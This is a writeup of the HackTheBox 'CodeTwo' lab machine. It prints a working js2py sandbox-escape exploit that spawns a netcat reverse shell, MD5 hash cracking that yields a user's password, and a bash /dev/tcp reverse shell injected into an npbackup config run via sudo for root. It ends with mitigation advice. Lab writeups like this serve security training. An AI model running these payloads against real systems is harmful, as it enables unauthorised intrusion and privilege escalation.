Post

CodeTwo

Writeup for HackTheBox CodeTwo machine

CodeTwo

Executive Summary

This report details the security assessment of the HackTheBox machine “CodeTwo” (medium-difficulty, Linux). The attack chain is as follows:

  • js2py Sandbox Escape — The web app on port 8000 allows JavaScript execution via js2py v0.74 (vulnerable to sandbox escape). Use class introspection to locate subprocess.Popen and execute a reverse shell as app.
  • SQLite → Credential Extraction — Read the app’s SQLite database; extract MD5 hash for marco. Crack offline to recover password sweetangelbabylove. SSH in as marco.
  • npbackup Config Injection → Root — Marco has NOPASSWD sudo for /usr/local/bin/npbackup-cli. The utility accepts a custom -c config file. Copy the root-owned template to a writable file, inject a reverse shell into pre_exec_commands, and run with sudo to get root.

Reconnaissance

We begin the assessment by running an initial Nmap TCP port scan to discover active services on the target IP 10.129.146.100:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/htb-machine/codetwo]
└─$ nmap -sC -sV $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-20 16:53 UTC
Nmap scan report for 10.129.146.100
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.04 seconds

We add the target domain mapping to /etc/hosts:

1
echo "10.129.146.100 codetwo.htb" | sudo tee -a /etc/hosts

Web Enumeration & Initial Foothold

We access the web application running on port 8000: http://codetwo.htb:8000/

Error loading image

We review the package dependencies of the application and discover the use of js2py==0.74:

1
2
3
4
5
┌──(kali㉿kali)-[~/htb-machine/codetwo/app]
└─$ cat requirements.txt
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

We register a new user: http://codetwo.htb:8000/register

Error loading image

We log in using the created account: http://codetwo.htb:8000/login

Error loading image

After authentication, we are redirected to a developer dashboard containing an online JavaScript execution editor: http://codetwo.htb:8000/dashboard

Error loading image

Sandbox Escape via js2py Vulnerability

The js2py library up to version 0.74 contains a sandbox escape vulnerability that allows arbitrary Python code execution. For technical details, refer to: RCE with js2py sandbox escape

We write a JavaScript exploit payload that references the parent Python environment’s subprocess.Popen constructor. We load this payload in the editor to execute a reverse shell command (while catching the connection using netcat):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// [+] command goes here:
let cmd = "busybox nc 10.10.14.65 4444 -e bash"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

Error loading image

We launch our listener and receive the connection:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/htb-machine/codetwo]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.146.100] 53868

id
uid=1001(app) gid=1001(app) groups=1001(app)

python3 -c 'import pty; pty.spawn("/bin/bash")'
app@codetwo:~/app$ ls
app.py  instance  __pycache__  requirements.txt  static  templates

Lateral Movement to User marco

We explore the application directory and locate a SQLite database users.db inside the instance folder. We connect to the database and query the user table:

1
2
3
4
5
6
7
8
9
10
11
12
app@codetwo:~/app$ cd instance
app@codetwo:~/app/instance$ ls
users.db
app@codetwo:~/app/instance$ sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code_snippet  user        
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|admin|21232f297a57a5a743894a0e4a801fc3

We extract the MD5 hash for the user marco: 649c9d65a206a75f5abe509fe128bce5. We decrypt the hash using John the Ripper:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/htb-machine/codetwo]
└─$ john hash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetangelbabylove (?)     
1g 0:00:00:00 DONE (2025-08-20 17:18) 5.555g/s 19159Kp/s 19159Kc/s 19159KC/s sweetart098..sweetali786
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

The cracked credentials are:

  • Username: marco
  • Password: sweetangelbabylove

We authenticate via SSH:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/htb-machine/codetwo]
└─$ ssh marco@codetwo.htb
marco@codetwo.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...
marco@codetwo:~$ ls
backups  npbackup.conf  user.txt
marco@codetwo:~$ cat user.txt 
******************4936bcefa2797be5

Privilege Escalation

We run sudo -l to check the permitted sudo commands for marco:

1
2
3
4
5
6
7
marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

The user is allowed to run /usr/local/bin/npbackup-cli (a file backup orchestrator utility) as root without a password. We review the default configuration file npbackup.conf located in our home folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
marco@codetwo:~$ cat npbackup.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
...
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
...

Although the default npbackup.conf is root-owned and cannot be edited, the npbackup-cli utility allows users to specify custom configurations using the -c flag.

1
2
3
4
5
marco@codetwo:~$ ls -l
total 12
drwx------ 7 root root  4096 Apr  6 03:50 backups
-rw-rw-r-- 1 root root  2893 Jun 18 11:16 npbackup.conf
-rw-r----- 1 root marco   33 Aug 20 14:36 user.txt

We copy npbackup.conf to a writable file named npbackup.bat:

1
cp npbackup.conf npbackup.bat

We edit npbackup.bat to inject a reverse shell command into the pre_exec_commands attribute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
marco@codetwo:~$ cat npbackup.bat 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
...
      minimum_backup_size_error: 10 MiB
      pre_exec_commands:
       - 'bash -c "bash -i >& /dev/tcp/10.10.14.65/1337 0>&1"'
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
...

We set up a Netcat listener locally:

1
2
┌──(kali㉿kali)-[~/htb-machine/codetwo]
└─$ nc -lvnp 1337

We run the backup utility with our custom configuration using sudo:

1
sudo /usr/local/bin/npbackup-cli --backup -f -c /home/marco/npbackup.bat
1
2
3
4
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --backup -f -c /home/marco/npbackup.bat
2025-08-20 17:39:13,716 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-20 17:39:13,744 :: INFO :: Loaded config BC913717 in /home/marco/npbackup.bat
2025-08-20 17:39:13,757 :: INFO :: Running backup of ['/home/app/app/'] to repo default

Our listener catches the connection, providing a shell as root:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/htb-machine/codetwo]
└─$ nc -lvnp 1337   
listening on [any] 1337 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.146.100] 36870
root@codetwo:/home/marco# id
uid=0(root) gid=0(root) groups=0(root)
root@codetwo:/home/marco# cd /root
root@codetwo:~# cat root.txt
****************070bf16cf3d6e6b1

Mitigations & Security Recommendations

To secure the host against similar compromises, implement the following steps:

  1. Avoid Sandboxed Third-Party Interpreters:
    • Do not use libraries like js2py to execute user-supplied code. Secure alternatives include isolated microservices or containerized execution sandboxes.
    • If code execution is strictly necessary, run the code execution engine in isolated sandbox containers with minimal system privileges and network restrictions.
  2. Implement Strong Password Hashing:
    • Replace raw MD5 hashing in application databases with modern, slow hashing algorithms such as bcrypt or PBKDF2 to prevent offline credential cracking.
  3. Secure Sudo Permissions and CLI Wrappers:
    • Avoid granting unrestricted sudo execution permissions to CLI tools that process configuration variables.
    • If npbackup-cli is allowed in sudoers, disable user-specified configuration files (-c flag) or restrict the config directory to root-only writable locations.
This post is licensed under CC BY 4.0 by the author.